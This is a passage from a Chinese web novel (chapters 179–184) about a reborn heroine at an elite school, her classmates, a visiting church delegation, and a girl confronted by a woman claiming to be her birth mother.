《我不过作作妖,怎么就成了白月光》 第179章 神权、白家、女王 “英才班这群人也太过分了,根本就没把我们当人!连放红榜的传统都不遵守!简直是欺人太甚!” “现在说这些有什么用?刚刚怎么没见你们反抗?” “你什么意思?说的好像你刚刚站出来了似的?” “好了好了,你们别吵了,典礼马上就要开始了,快去准备吧。” 一场闹剧,让德才班整个高一年级都心生不快,英才班那群少爷小姐,除了会投胎哪一样比他们强?现在就连他们最引以为傲的成绩都要被拿来羞辱。 众人神情郁闷,纷纷撤回教室。 “阿韵,你在看什么?” 拥挤的人潮里,女生穿着运动校服,厚重的刘海几乎遮住了半张脸,剩下的半张脸上还戴着又土又笨重的眼镜。 她像极了一粒被扔进沙滩的砾石,渺小又不起眼。 同样淹没在人群里,对面有个女生却光彩夺目,与她不同,她就像又白又亮的珍珠,在一堆砾石里闪闪发光。 苏韵看着那个女生被朋友笑着推进教室后才慢慢收回目光。 “没看什么。” 谢棠一脸艳羡看着红榜上的名字,“阿韵,你好厉害啊!又是第一!” 苏韵推了推厚重镜片,“没什么。我看了往届学长们的成绩,我还差的远呢。” 谢棠扭头看向高三区的红榜,“你是说沈学长他们?那怎么能一样呢?听说沈学长这一届的英才班几乎都是各大财团里的重要继承人,学校特意为他们改了体制,独立分化了一个进修班。 A国大学都是这些财团投资的,他们根本不走学术文凭这条路,从以往的经验来看,学长们今年毕业应该都会去国政军校。” 苏韵没说话,抬眸看向高三红榜。 第一名进修班:沈兰晞 1280分。 不管她如何废寝忘食,发奋图强,最好的成绩也只有1230分。 这六十分不是她不够努力,也不是她不够聪明,它是普通人永远无法跨越阶层的缩影。 这种清楚的认知时常让苏韵感到无力,她有时候总在想,要是她不是普通人就好了,这样这六十公她一定可以跨越。 不过现在想这些也只是无病呻吟。 苏韵迅速调整心态,转头看向身边的好友,“小棠,倒是你,这次的期末考你成绩下滑的很严重,出什么事了吗?” 谢棠目光闪躲,“没有,还不就是我妈,你也知道我弟弟最近也忙着升学,我妈非逼着让我给他辅导功课,我是因为精力不足所以才没考好。” 两人是发小又是邻居,谢棠家里什么情况苏韵也知道,听她解释也不好说什么,只关心道,“那学费?” 没有进前十就没有奖学金,以谢棠家里的情况根本不可能支撑。 谢棠笑了笑,“这个不用担心,从这个学期开始,我每个星期都会去教会做礼拜,天恩教对品学兼优的高级信徒都有教育补贴,我上学期已经是高级信徒了。” 苏韵皱眉,“可是现在课业这么繁重,每个星期还要去教会,会不会对学习有影响啊?” 谢棠摇头,“不会的。天神会保佑我们每一个人。当初要不是有天主,我可能已经被学校清退了。” 苏韵表情复杂。 初一那年,谢棠考试失利,没有获得全免奖学金的资格。她告诉谢棠学校有另外的补助名额,谢棠抱着试一试的心态递交了申请,没想到面试很顺利,名额一下就批下来了。 原本以为这道坎算是过去了,事情却突然发生转折,不久后相关老师突然被辞退了,学校也纠正说从来没有额外补助这件事,谢棠一下从天堂掉进了地狱,没日没夜地哭。 机缘巧合之下,她被一位学姐引入了天恩教,教会在得知谢棠的情况后,以扶贫助困的名义资助了谢棠,此后谢棠就成了天恩教的信徒,虽说教会解决了谢棠的读书危机,但不知道为什么,苏韵却有种说不出的担忧。 谢棠,“好了,别想了,典礼马上就要开始了,你的演讲稿背熟了没有?今天来了好多大人物,你可得好好表现,争取给他们留下好的印象。” 苏韵这才笑了笑,“早就准备好了。” * 高一英才三班。 “同学们,大家准备一下啊,刚刚收到消息,天恩教两位大牧师待会会先来教学楼参观。” 班长站在讲台上拍了拍桌子,企图唤醒底下一堆闲散人员。 傅潇潇吹了吹指甲,“来就来,有什么好准备的?” 在A国,神职人员的身份地位比普通百姓高出许多,甚至连一些官员都得靠他们拉拢民众,轻易不能得罪。 傅潇潇敢说这种话,也只是因为她姓傅。其余人没她这底气,默不作声开始整顿仪容。 傅绥尔白了傅潇潇一眼,小声跟姜花衫吐槽,“这些天主教众都是些借用天神之名的神棍。” 姜花衫深以为然,这个世界哪有神?若真有也是剧目之门。 傅绥尔朝姜花衫勾了勾手指,两人交头接耳。 “衫衫,你知道吗?这些以神之名的教会专门帮财团、贪官洗黑钱,他们才是这个世界上最丑陋的恶魔。” 姜花衫略带惊讶看了傅绥尔一眼,“看来这个暑假学到了很多?” 傅绥尔朝她眨眨眼,“受益匪浅。对了!”她忽然想到什么,一脸神秘,“你猜我为什么这次开学才回来?” 姜花衫配合,“为什么?” 傅绥尔压低了声音,“白家那位摄政女王七十大寿,我跟表叔公去了白家庄园。” 姜花衫眉梢微挑,“白家?” 傅绥尔点头,“我之前以为咱们A国财阀干政就已经够腐败了,没想到S国比我们有过之而无不及。白家有皇室血统,掌管了S国的民众信仰和神权宗教,就连政府和财团都拿他们都没办法,跟他们比起来,咱们A国的教会简直就是小卡拉米。” A国教会还要靠财团支持,但白家的权力已经能够主宰民众意识,这么比的确不是一个量级的。 姜花衫被勾起了好奇心,“你见到白家那位女王了?” 她对所在世界的认知仅限于二十五岁之前的所有经历,这些剧情大部分都发生在A国。 所以姜花衫只知道白家那位女王是个难缠的传奇人物,但具体有多厉害,还没见识过。 傅绥尔摇头,“女王身体不好,宴会只出席了十分钟,还是在垂帘后面,连穿什么礼服都看不清。表叔告诉我,女王从十八年前长子全家遇害就不怎么露面了。” “长子遇害?” 傅绥尔点头,“嗯,十八年前,白亲王和王妃受邀出使A国,回国当天被恐怖分子袭击,当时还在A国上空领域,所以即使后面S国查明这群恐怖分子与我们无关,女王还是一意孤行封锁了与我们的外交。” 姜花衫眸光微亮,这倒是个有用的信息差。 既然眼下的世界只是一本书,那么每个人物、每段剧情都不可能无缘无故存在。 虽然她没有经历后面的剧情,但她可以断定,这位白家女王,以及她丧子的剧情绝对是整个剧目的重要伏笔。 傅绥尔看出了姜花衫的微表情,心情跟着好了起来,“我说的这些有用吗?” 姜花衫抬眸,见傅绥尔一脸期待看着她,扬唇笑了笑,“有用。” 这是她与傅绥尔十四岁的约定,好好长大,做彼此的眼睛,去看这个世界之外更广阔的风景。 …… 第180章 助人为乐沈归灵 “葛神父、韩神父,这边请。” 黄校长笑容可掬为两位身着牧师服的男人领路,后面还跟着一群校领导。 两位牧师都是中等身材,面容和善,时不时与黄校长攀谈两句。报刊记者们扛着长枪短炮相互推挤,力争能抓拍到最佳视角。 一群人穿过长廊,浩浩荡荡走进中心花园。 黄校长指着半空中依次排开的红榜认真介绍,“大家请看,这是我们育才百年习俗,古有新科登榜跃龙门,今有育才红榜造栋梁。” 随着黄校长的介绍,两位牧师的目光和记者们的摄像机位不由自主转移到了红榜上。 校长与有荣焉,“育才建校百年,受国人载誉。我们深知教育师资不可倾斜,在这里,我们公平对待每一位栋梁之才,不忘初心,力争为国家教育出最顶尖的未来之星!” 话音一落,大家激情鼓掌。 忽然,有人意识到不对,举手示意,“黄校长,怎么高一年级的红榜顺序颠倒了?” 颠倒的?黄校长表情愣了一下,定睛一看,还真的挂反了。 不是什么大事,他处变不惊,一派从容,“惭愧啊,这是我们工作上的小小失误。大家请看那边,我们全体老师经过不断优化课程,实验改革,已经研究出了一套远胜传统的教学模式,这是我们的教学成果。” “嚯!几乎满分的成绩啊!” 媒体们立马被进修班的耀眼成绩吸引了注意力,疯狂拍照做笔记。 校长暗暗舒了一口气,拉了拉身边的助理,皮笑肉不笑,“今天高一谁负责挂红榜的?都给我记大过一次。” “是。” “还有。”校长保持风度,“刚刚那一段说失误的掐掉,不许他们播。” 助理,“……” 记者们收集完资料,又举手示意,“黄校长,能不能让进修班魁首过来做个简单的采访?” 黄校长瞟了一眼上面的大名,面带微笑,“预定的章程里好像没有这个环节吧?” 记者,“是,但我们觉得加一段学生采访,内容会更完整也更具有说服力。当然,这对宣传贵校对我国教育做出的贡献也很有帮助。” 闻言,黄校长点点头,“这样啊,诸位稍后,我安排一下。”说罢悄悄给助理使了个眼色。 趁着记者们整理素材的时间,校长领着两位牧师参观红榜。这些教会每年赞助的教育基金也不少,黄校长这番行为其实也是变相给这些赞助商汇报工作成果。 韩神父点头,“不错,的确远超其他高校学府,我谨代表天恩教万万信众向育才的全体老师们致敬。” 黄校长谦虚摆摆手,“不敢当,” 这时,助理从人群挤了进来,偷偷给黄校长使了个眼色。黄校长立马叫来副校长陪同讲解,自己则带着助理避开人群。 “沈兰晞怎么说?” 助理一脸为难,“沈兰晞说他不喜欢抛头露面。” 这怎么是抛头露面呢? “……”黄校长想骂又不敢骂,只能退而求其次,“沈兰晞不愿意问了周宴珩没有?他不是比较好说话吗?” 助理,“周宴珩说沈兰晞第一名都不去,他第二名去了也是丢人现眼。” “……” 好好好,这些高材生都是这么滥用成语的是吧? 黄校长摆摆手,丧气转身,“一个两个都惹不起,算了,你跟媒体说,让他们自己多拍几张校园人文风景就当补素材了。” “不是校长,我还没说完呢。”助理赶紧把人拦住,“出教室时我又遇上沈归灵了,他同意了。” “怎么不早说?”黄校长一脸晦气立马变成一脸兴奋,“沈归灵回来了?去美联高的交换生不是都要这学期结束才回来吗?” 助理,“不知道啊,听说已经提前修满学分了。” “嚯!”黄校长一脸惊讶。 美联高是全球联合中学,里面都是世界各地的脑力天才,与育才定制化人才不同,美联高走的是学术制霸路线,沈归灵竟然能在一群脑子怪师手下提前修满学分,简直比怪物还怪物。 不过来的早不如来的巧,育才下季度社会基金有望了。 黄校长嘘唏摇了摇头,“三年了,助人为乐还得是沈归灵啊。让媒体准备一下,就说事发突然,只联系到了第三名。” 这是战略,如果第三名都已经这样了,那另外两个又该多厉害呢? 助理应下,转身走向记者群,一字不落传达了校长的意思。 记者们多少有些失望,刚刚得到的消息,榜首是沈家太子爷,这位太子爷鲜少在公众面前露面,要是这期报刊能采访到他还愁没有销量? 助理见大家兴致缺缺,好心提醒,“对了,大家记得先关一下麦克风。” 众人不解,正在调试呢,为啥要关? 就在这时,一道清冽低醇的声音在人群里响起。 “不好意思,久等了。” 话音一落,少年眼眸带笑走进了人群。 没等大家反应过来。 “啊啊啊啊啊啊!!!!” 两边教学楼率先爆发出刺穿耳膜的尖叫声。 “是沈归灵!沈归灵回来了!!!” 也不知谁喊了一声,原本稀稀疏疏的走廊一瞬间挤满了人。 …… 第181章 生日 “啊啊啊!!!” 群起奋涌的尖叫声差点没把两栋教学楼的顶给掀了。 姜花衫和傅绥尔原本还在开心分享暑假见闻,猛地被高音穿耳,两人只交换了一个眼神,默默拿出降噪耳机带上。 这么大的阵仗,不用说,肯定是沈归灵那朵交际花回来了。 在育才,英才班和德才班是两条泾渭分明的楚河汉街,也只有沈归灵这朵盛世茶花能让德才的同学自动模糊对阶级的憎恨。 “是沈归灵耶,他怎么回来了?” 班里的女生蠢蠢欲动,最终克制住矜持冲了出去,对此男生们也已经见怪不怪了。 苏妙明显有些心不在焉,往窗外看了好几次,周绮珊看出了她的心思,轻轻拍了拍她的肩膀,“怎么不去看看?” “有什么好看的?反正阿灵哥哥回来了,我们平时也可以见面。”苏妙装模作样撩了撩头发,一副很不在意的模样。 周绮珊笑了笑,“这会儿倒是嘴巴挺硬,之前也不知道是谁听说这个学期都见不到阿灵哥哥,躲在被窝连哭了三天。” 苏妙难得被呛,表情讪讪瞪向周绮珊,“周绮珊,再说绝交了啊。” 周绮珊举手求饶,“好了,不开你玩笑。不过,阿灵哥怎么提前回来了?你知道吗?” 苏妙忽然想到什么,拿出手机打开与沈归灵的对话框,在验证了某种心意后,女孩忽然羞红了脸,耳尖烧得通红。 自打三年前宴会初识,苏妙偶尔会找沈归灵玩,虽说每次都有很多人,但还是不妨碍她对沈归灵春心萌动。三年暗恋,喜欢的心意到现在已经隐隐有了不可收拾的趋势。 恋爱季的少女脆弱又敏感,所以在得知几乎半年见不到沈归灵后,苏妙开始胡思乱想,虽然知道这个时候不应该去打扰他,但她还是忍不住不停地给沈归灵发消息,而沈归灵似乎真的很忙,她的每一条问候消息几乎都石沉大海。 因为这件事,苏妙大受打击,后来她无意中得知沈归灵也不回余笙那个讨厌鬼的消息,她立马就释怀了。 周绮珊一看苏妙的表情就知道有猫腻,歪着头瞟了一眼她的手机。 “诶~~?” 苏妙立马反应过来,把手机盖住。 周绮珊微微有些惊讶,“我看到了,真的假的?” 苏妙故作风轻云淡,“看到了就看到了,不许说出去。” 那天她翻开日历,发现自己快过生日了,鬼使神差给沈归灵发送了一条消息:【阿灵哥哥,你能抽空回来参加我的生日晚宴吗?】 她等了很久,沈归灵依旧没有回。苏妙因此情绪低落做什么都提不起精神,连带自己十六岁生日都不期待了。 明明没有回复,怎么突然又回来了? 苏妙没忍住,又翻开两人的聊天框,眼里不觉有了期待,难不成真的是因为她? * 教室外的欢呼声持续了很久才缓下来。 姜花衫和傅绥尔默默取下降噪耳机。 傅绥尔忽然想到什么,问道:“衫衫,下个月你就是生日了吧,想好怎么过了吗?” 姜花衫摇头,“随爷爷安排吧。” 她其实对生日没什么期待,但是因为沈庄很重视,姜花衫也不想扫兴。 三年前,沈家夜宴结束后的一个月就迎来了姜花衫十四岁的生日。上一世,十四岁的生日只是家宴,但这一次,沈庄斥巨资为她举办了一场鲜花盛宴,生日宴就在小沈园举办,当晚光是收到的生日礼物都堆满了一个房间,更别说沈庄还在小沈园后院移栽了十亩花海。 此后每一年,姜花衫的生日都格外受到重视。 今年比往年更胜,早在一个月前,沈庄就让姜花衫拟了一份心愿清单,考虑到最近比较缺钱,姜花衫厚颜无耻写了三十个希望收到指向礼物,原本她还担心自己胃口是不是太大了,没想到老爷子不甚满意,又自主添了七八十条,还又让沈执整理成一份长达一百页的PPT发到沈氏家族群。 为免这些‘日理万机’的儿孙们遗漏信息,老爷子直接手动@所有人,迫于掌家人的淫威,大家也是敢怒不敢言,纷纷附和收到。 沈澈的两个双生子一个在北海特种队参加秘密训练,一个在国岛中心搞机密研发,迟迟没有回复,老爷子气不过直接打电话去国情局总部要人。 “我孙子呢?当初你们只是说借调,可没说要与家里断绝关系!那俩兔崽子该不会……死了?” 这锅可不能背!国情局的高层吓得赶紧给北海和国岛发电,命令基地立刻马上恢复沈亦杰和沈亦泽两人的通讯设备。 沈亦杰和沈亦泽听闻老爷子为了他们闹到了国情局,大为感动,忙不迭给家里打电话报平安。 起初两人听见沈庄的声音还感动地想哭,直到沈庄说出那句:“你们一天天的在忙什么?家族消息也不回?赶紧看,看完回复收到。” 沈亦杰&沈亦泽,“?” 沈庄的骚操作让沈家所有人都陷入了沉默,这是不断在刷新沈家人对姜花衫到底有多受宠的认知。 经过沈庄的不懈努力,沈家人终于放弃了跟姜花衫争宠的想法,现在就连沈谦从南湾回来都会刻意给姜花衫带礼物,甚至还会装模做样关心她的学习。 一想到沈庄毫不掩饰的偏爱,傅绥尔有感而发,“我怎么感觉阿灵哥也是被外公逼回来的?” 姜花衫倒不在意这些,若有所思望向窗外。 奇怪! 沈归灵这受欢迎的程度是不是有些过了? 她明明记得上一世沈归灵也只是把鲸港上层圈的千金小姐迷得团团转,远没到如今这万人空巷的地步。 这家伙到底想干什么? …… 第182章 窗里窗外 说起生日,傅绥尔忽然想到什么,眼里的期待瞬间转变成了担忧。 她比姜花衫小半个月,也就是说她很快也会迎来自己十六岁的生日。 可是,姜花衫告诉过她,她十六岁这年,她的妈妈会被人害死。 时间的锚点越来越近了。 感觉到周身气压不对,姜花衫的目光立马从窗外转移到了傅绥尔身上,“怎么了?忽然就不高兴了?” 傅绥尔摇头,“我没有不高兴,我刚刚只是在想,我这三年还有没有哪里做的不够好?我没有逼迫我妈回到傅家,也没有同意爷爷转移资产的提议,我甚至没有与傅家有任何往来……衫衫,这些真的够了吗?” 其实她更希望姜花衫那个时候是骗她的,可是,那是她们友情开始的秘密,所以,那绝不可能是谎言。 姜花衫看出了傅绥尔的不安,目光略有迟疑。 她不知道该怎么回答傅绥尔的问题? 三年前,她把三号画室的秘密交给爷爷没多久,脑子里就响起了系统提示音。 【叮——】 【当前章节主线偏离,现在为您生成最新篇章。】 【原章节剧目——《噩梦!无望的深渊》更改为《救赎!沈庄的手段》】 【警告:当前主线剧情偏离5%】 当时,姜花衫一下从睡梦中被惊醒,喜悦的情绪久久不能平复。 这个提示无疑是在告诉她,爷爷成功,那群女孩被救出来了。 依照原来的剧情,那些女孩在她二十岁的时候还在深渊里挣扎,爷爷真的改变了她们的结局。 这次被拯救的意义远不止于此,这给了姜花衫很大的信心。既然这群女孩的结局可以依靠剧目之外的能力改变,那爷爷的结局,其他人的结局也可以。 但很快,现实又给了她残酷的一击。 三个月后,姜花衫正在画室布景,脑子里莫名其妙又跳出一串提示音。 【叮——】 【世界剧目规则四:本世界剧情不接受除剧目之门以外的任何力量更改。】 【叮——】 【启动剧情修复功能】 【叮!已为剧目生成最新篇章——《重临深渊》】 【警告:当前主线剧情偏离1%。】 一连串的提示音打得姜花衫措手不及。 主线剧情又回到了偏离百分之一,也就是说那群女孩的结局没有改变,沈娇之死也一定会再度重演。 傅绥尔已经不是当初那个傻孩子了,姜花衫的眼神让她意识到事情并不简单,她不免有些担忧,“衫衫,命运不会出现奇迹了是吗?” 姜花衫摇头,“不是,会的。” 这三年,她终于想通了一个道理,剧目之门就在她的脑子里,说明她就是剧目之门,剧目之门就是她。 规则四说不可以借助除剧目之门以外的力量,也就是说,沈娇的结局,爷爷的结局,只有她可以改变。 出于对傅绥尔的保护,很多事她不能言明,但她也知道,现在的绥尔需要鼓励。 姜花衫想了想,认真道:“绥尔,如果有一天你能看见这个世界的全貌,你就会知道,你和我的存在本身就已经是奇迹了。所以,只要你相信自己,相信我,就一定会有奇迹。” 傅绥尔不太明白第一句的深意,却秒懂姜花衫第二句的提示,遂用力点了点头,“我信你。” 两人说话的功夫,沈归灵的采访也结束了,校领导立马组织学生去礼堂参加开学典礼。 每年的开学典礼几乎都一个流程,先是学校领导发言,然后各年级代表上台演讲,最后校长再来几句总结陈词,甚无新意。 姜花衫并不感兴趣,摆摆手,“好想睡觉,我就不去了。” 傅绥尔知道她容易犯懒,点头,“好,那你休息,我去看看学校把那两个天恩教的牧师叫来到底安得什么心思?” 过一会儿,余老师走进教室,让班长组织班里的同学去礼堂。 等班里的同学都走完了,姜花衫懒懒打了个哈欠,趴在桌上打起了盹。 * “沈归灵,育才这种垃圾学校根本就不适合你,在那只会埋没你的才华,你还是考虑考虑我们美联高吧!你要是有难处,学校可以替你跟家里商量。” 沈归灵抬步上楼,语气温和,“没有难处。” “没有难处?”电话里的人声音明显急了,“沈归灵,难道你也被育才那套名利教育洗脑了吗?” 沈归灵转上二楼,眸光随意一瞥,脚步忽然顿住。 有人趴在窗前的课桌上,半张脸埋在臂弯里,半张脸沐浴在阳光下。 “沈归灵,你有没有在听?我跟你说啊,你现在还小,可能分不清权力对学术的侵害有多大?一旦你心中对权力有了追逐,你的学术必将不纯,研发出来的东西也不可能造福万民。你赶紧回来,育才真的不适合你,他们会把你教坏的。” 沈归灵目光静谧,停顿了片刻,侧身往二楼英才三班的教室走去。 “沈归灵,你说的话你听见没有?” 沈归灵眉眼温柔,“听见了,但我回不来了。” “嘟——” 挂了电话的同时,他也已经站在了走廊里的某扇窗前。 窗前的女孩儿睡相甜美,丝毫没有平时的张牙舞爪,而他的出现阻止了阳光的亲吻,现在亲吻少女脸颊的是他投下的身影。 沈归灵嘴角的笑容渐渐收敛,温柔的眉眼渐渐有了不一样的黯色。 * 幽深如渊的识海里,剧目之门闪着莹莹绿光,书页疯狂翻转,缠绕在书封上的枝蔓藤条瑟瑟发抖。 姜花衫气喘吁吁扔掉手里的残枝,“说!到底谁才是害死沈娇的幕后真凶!!” 【主线剧情请自由探索!】 “我就不探索?!给提示!!” 姜花衫撸起袖子,拉起一根最粗的枝条,疯狂拔叶。 【主线~~剧情请自由~~~~~】 “给不给?不给真下狠手了!” 【叮——】 【载入剧情:沈娇之死】 【是否加入剧情?提示:危险指数★★★★(危险指数不针对参与者)】 * “你神经病吗?我跟你说了很多遍了,不要再跟着我了!!” 【叮——】 随着一声机械音响起,姜花衫慢慢从深睡的意识中醒来。 谁在说话,声音怎么这么耳熟? 她慢慢坐起身,摸了摸半僵的胳膊,忽然眸光一动看向窗边。 嗯?谁把她的窗户关上了?她明明记得睡觉的时候还是打开的。 这时,走廊外再次传来女生不耐的呵斥声:“你走不走!再不走别怪我对你不客气了,你知道我是谁吗?” …… 第183章 真假序幕开始 苏妙简直要被气死了。 她好不容易从店里偷溜出来,没想到沈归灵没遇见,竟然遇见了一个疯女人。 女人烫着时髦的波浪卷,身穿豹纹紧身吊带,皮长裙,短靴高跟,脸上浓妆艳抹,整个人一种廉价低劣的感觉。 “真是的,学校怎么什么人都放进来?”苏妙不满咕哝了一声,直接拿出手机,“我警告你,不要再跟着我了,不然真对你不客气了。” 女人盯着她的脸,眼神里都是按捺不住惊喜,“我不是坏人,你相信我!我……” 女人左右看了看,又往前走了两步,刻意压低声音,“我们找个隐蔽的地方谈谈?我有很重要的事要告诉你。” 苏妙被女人身上廉价的香水味呛得连连后退,“脑子有毛病。”说着,头也不回往三班教室跑去。 女人见状赶忙追上去,一把拽住苏妙的手腕。 “放手!”苏妙彻底被惹毛了,“你知道我爷爷是谁吗?你信不信……” “你爷爷是谁都没有用,因为我是你妈妈!”女人生怕苏妙跑了,索性直接道明了真相,她等这一天等了这么久,可不能让机会白白溜走。 “什么?”苏妙先是愣了一下,随即满脸嫌恶,“疯子,你再敢胡说八道,信不信我让人撕了你的嘴?” 走廊过道有监控,女人警惕环顾了一圈,指着楼梯拐弯的死角,“我们去哪说。” “神经病。”苏妙用力甩开女人的桎梏,一边退一边准备打手机叫人。 女人见状直接扑上去抢手机,态度十分强硬,“好啊,你要是不怕一无所有你就打,到时候苏家人来了知道你是个冒牌货,我看你怎么收场?” 疯女人!苏妙一句话都不信,但女人的手劲很大她根本甩不掉,见情况不妙,苏妙张口想呼救。 女人看出了她的意图,一把捂住她的嘴巴,脱口而出,“你的生日是九月十九,后背腰侧还有个黑痣,对不对?” “……” 苏妙神情微动,但很快反应过来,“看来你真是冲我来的。” 女人见她还是不信,立马拿出自己的手机,打开了一个密码相册。 “你看,这是你出生时的样子,这是你的胎发,这是我们的亲子鉴定。” 杂牌手机的像素并不是很清楚,但那张婴孩时期的照片还是吓到了苏妙。女婴赤身裸体躺在女人的臂弯里,前后左右各个角度都拍了照,其中腰侧的黑痣与她身上的位置几乎一模一样。 不可能!她摇了摇头,小心往后退,恶狠狠盯着女人,“这肯定是假的,照片是你偷的,文件是你合成的,你想骗我。” 女人又指了指角落,“你要想知道这一切吗,我们抽空聊一聊。” 苏妙还是摇头,“我跟一个骗子有什么好聊的?” 女人看了看时间,言语间也没了耐心,“好,既然我们没什么好聊的,那我就去找苏夫人,想必她应该对谁是她的亲生女儿很感兴趣。” 苏妙指尖微微颤抖,一言不发看着眼前的女人。 理智告诉她,这就是一个针对她的骗局,不要相信,可是…… 她脑子里不知怎的,忽然想起家里的亲戚总是调侃她越长越漂亮,却不像妈妈了。 女人也不想把人逼得太紧,小声解释,“这种事去医院一验就知道,我如果要骗你何必撒一个这么容易被拆穿的谎?苏家什么身份?我如果不是有真凭实据,我敢得罪苏家吗?” 苏妙还是不接话。 女人从包里拿出一把剪刀,当场剪下一撮头发装进塑料袋递给苏妙。 “我今天来也不指望你马上就接受我,既然你不信,就自己去验证吧。” 苏妙站在原地,表情戒备。 女人走上前,将塑料袋塞进她的手里,“袋子上有我的电话,看到结果以后记得联系我。” 苏妙抬眸,眸光冰冷看着女人。 女人笑了笑,“别紧张,我可是你亲妈,我们不是仇人。” 说罢,拍了拍苏妙的肩膀,转身往楼道走去。 苏妙盯着手里的塑料袋,指尖紧紧收拢,片刻后,她咬了咬牙把手里的东西甩了出去。 可一转身,脑海里又浮现出那张聚焦模糊的婴儿照片。 她的身体再次顿住,回头看着地上的塑料袋,最终还是没能克制住心底的怀疑,缓缓蹲下身。 这一刻,一种前所未有的绝望席卷了她。 教室里,姜花衫坐在课桌上,隔着窗缝目睹了事情的全部过程。 她看着走廊上苏妙的背影,情绪有点复杂。 上一世,苏妙出卖周绮珊后声名狼藉,不仅被公众唾骂,还要遭受周家的刁难,可苏家却从来没有出面维护过她。后来苏家要拓宽海外市场,苏妙被当成联姻工具嫁给了大她二十岁的老男人。 之后的A国就再没有苏家千金苏妙,只有一个炙手可热的国民女神,沈韵。 原本她还在奇怪,苏家老爷子明明很喜欢苏妙,按理说,就算他知道了苏妙不是苏家血脉也不至于会苛责一个疼爱了十几年的孩子,毕竟那个时候苏妙才出生,什么都不知道。 但结合当前情况来看,上一世,苏妙极有可能也是在十六岁的某天提前知道了自己的身世,她因为害怕失去拥有的一切,所以选择了跟亲生母亲合力欺骗苏家。 如果真是这样,意义就不一样了。 苏妙这个母亲与方眉是同类,都是会吸女儿血的恶鬼,真千金在这种人的照顾下长大肯定没少吃苦,苏家人一旦认定苏妙也参与了诈骗,以后对苏韵有多愧疚,就会对苏妙有多痛恨。 所以,今天其实就是苏妙走向人生深渊的开始。 【叮——】 【恭喜您触发剧目隐藏剧情,金兰篇之《山河不足重重在遇知己》】 【完全条件:心甘情愿为彼此背叛自己一次】 【是否绑定当前人物——苏妙?】 又是系统任务? 姜花衫跳下书桌,指尖轻点着桌面。 金兰任务线的重点是双向奔赴,而她本身就是知情者,所以关于她这部分的任务并不难。 真正困难的是如何引导这些不知情者,她们有标签羁绊,根本做不到心甘情愿。 彼时,苏妙已经将女人的塑料袋捡了起来。 姜花衫转过身,重新趴了回去。 “绑定。” …… 第184章 掌握之中 苏妙现在的心情又乱又糟糕,发生这种事她现在也没心情去找沈归灵了。 浑浑噩噩推开教室门,刚走进教室,她涣散的眸光一下回神。 姜花衫怎么会在这? 刚刚的事…… 苏妙没由来地心虚,甚至不自觉摸了摸口袋里的塑料袋。但很快,她又稍稍缓了一口气,麻烦精在睡觉。 跟姜花衫做了这么多年同学,苏妙对姜花衫的印象已经由一开始的又蠢又恶变成了现在的又奸又懒。 她微微沉思了片刻,转头出了教室,但她没有走远,而是躲在角落偷偷观察姜花衫。 这一盯就是一个小时,直到教学楼下传来同学们嘈杂的声音,苏妙才跟着人群一起走进了教室。 周绮珊在礼堂找了一圈没看见苏妙,就猜到她是去找沈归灵了,回到教室便迫不及待追问结果,“怎么样?妙妙,你问了阿灵哥没有?他怎么说,是因为你回来的吗?” 苏妙情绪淡淡,“我没见到他。” 周绮珊以为好友恋情受挫,立马安慰道,“没事,反正阿灵哥都已经回来了,要是学校没碰见,你就发消息问问他嘛。” 苏妙听的心烦,语气不耐,“发什么发,他根本就不搭理我。” 周绮珊愣了愣,尴尬笑了笑,“妙妙,你怎么了?” 苏妙也意识到自己情绪过了,立马站起身,“对不起,我今天心情不是很好,你别跟我说话。”说完,站起身看向姜花衫。 姜花衫已经爬起来了,正和傅绥尔交头接耳聊天。 苏妙犹豫片刻,转头出了教室。 周绮珊也注意到了苏妙的眼神,略有疑惑看向姜花衫。 “诶!周绮珊怎么这么能忍苏妙啊?” 周绮珊皱眉,转头看向傅潇潇。 傅潇潇一脸欠扁,眼里带着几分调侃,“你该不会是喜欢苏妙吧?” 周绮珊脸色顿然变脸,“你胡说八道什么?” 傅潇潇见她急了,愈发幸灾乐祸,“心虚了?别装了,你们俩早就不纯洁了吧?” 周绮珊嘭地一下站起身,“你……” 话音还没出来,眼前飞过一只黑板笔精准打在傅潇潇的脑门上。 “哎哟!” 傅潇潇前一秒还在那咧嘴笑,后一秒气得拍案而起,“谁?!” 姜花衫前三秒还在跟傅绥尔蛐蛐,下三秒就站在讲台上,“傅潇潇,别嘴贱了,上来擦黑板。” “……”傅潇潇气不打一处来,“姜花衫,找茬是不是?” “不是啊。”姜花衫手里拿着的值日表,“今天安排的小组值日,我和你一组,现在我安排你擦黑板,这怎么是找茬?” 傅潇潇一下被带偏了节奏,咬牙,“凭什么我擦?” 姜花衫挑眉,二话不说抓了一只笔砸了过去,“你不擦难道我擦?” 傅潇潇彻底被激怒了,拿起桌上的笔准备反击,身边的狗腿立马上前拦住她,笑呵呵看向姜花衫,“我来!潇潇的值日以前都是我做的。” 姜花衫,“行,那你顺便把我那份也做了吧?” 女生连忙点头,“好。” 傅潇潇顿时火更大了,挣扎着要上前理论,同伴见状赶紧拉住她。 “潇潇,这姜花衫太狡诈了,你忘记我们之前在她手里吃了多少亏?明的不行,咱们得来暗的。” 傅潇潇想想也是,冷哼了一声,拉着个脸坐了回去。 周绮珊也坐了回去,目光不觉落在自己平坦的胸口,眼里的光隐隐有些灰暗。 * 午间,全员休息。 傅潇潇的狗腿们在教室扫地。 “诶?这怎么有一包头发?” “咦,好恶心,赶快扫了。” “可是,好像是有人不小心掉的,你看,上面还有电话号码。” “管这么多做什么?潇潇还等着我们,要是去晚了她肯定又会生气的。” 女生们加快手脚,打扫干净后急急忙忙走出教室,万万没想到刚到门口就与姜花衫撞了个正着。 姜花衫,“我来检查卫生,看你们有没有阳奉阴违。” 你怎么这么狗?女生们敢怒不敢言。 姜花衫煞有介事围着教室转了一圈,眼看实在挑不出什么毛病,啧啧摇头,“可惜了……” 可惜什么?想找茬教训她们? 女生们暗恨此女好歹毒的心思,脸上小心翼翼,“我们可以走了吗?” 姜花衫摆摆手,“走吧走吧。” 女生们如蒙大赦,争先恐后跑出了教室。 “怕什么?我又不会吃人。”姜花衫咕哝了一句,正准备撤退,忽然扫到垃圾桶里有袋头发。 “嗯?这不是?” 她愣了愣,犹豫片刻翘着兰花指捏住塑料袋一个小角。 “就当做好事了。”说罢,转身走到苏妙的座位边。 正当她准备把塑料袋塞进去,身后忽然响起一道愤怒的女音。 “你那个时候果然在装睡。” 姜花衫,“……” 苏妙转到她面前,目光死死盯着她的眼睛,“你都听见了是不是?” 姜花衫,“什么是不是?” 苏妙步步逼近,将她锁死在课桌和自己之间,“你还装傻?你明明听见了为什么不敢承认?” 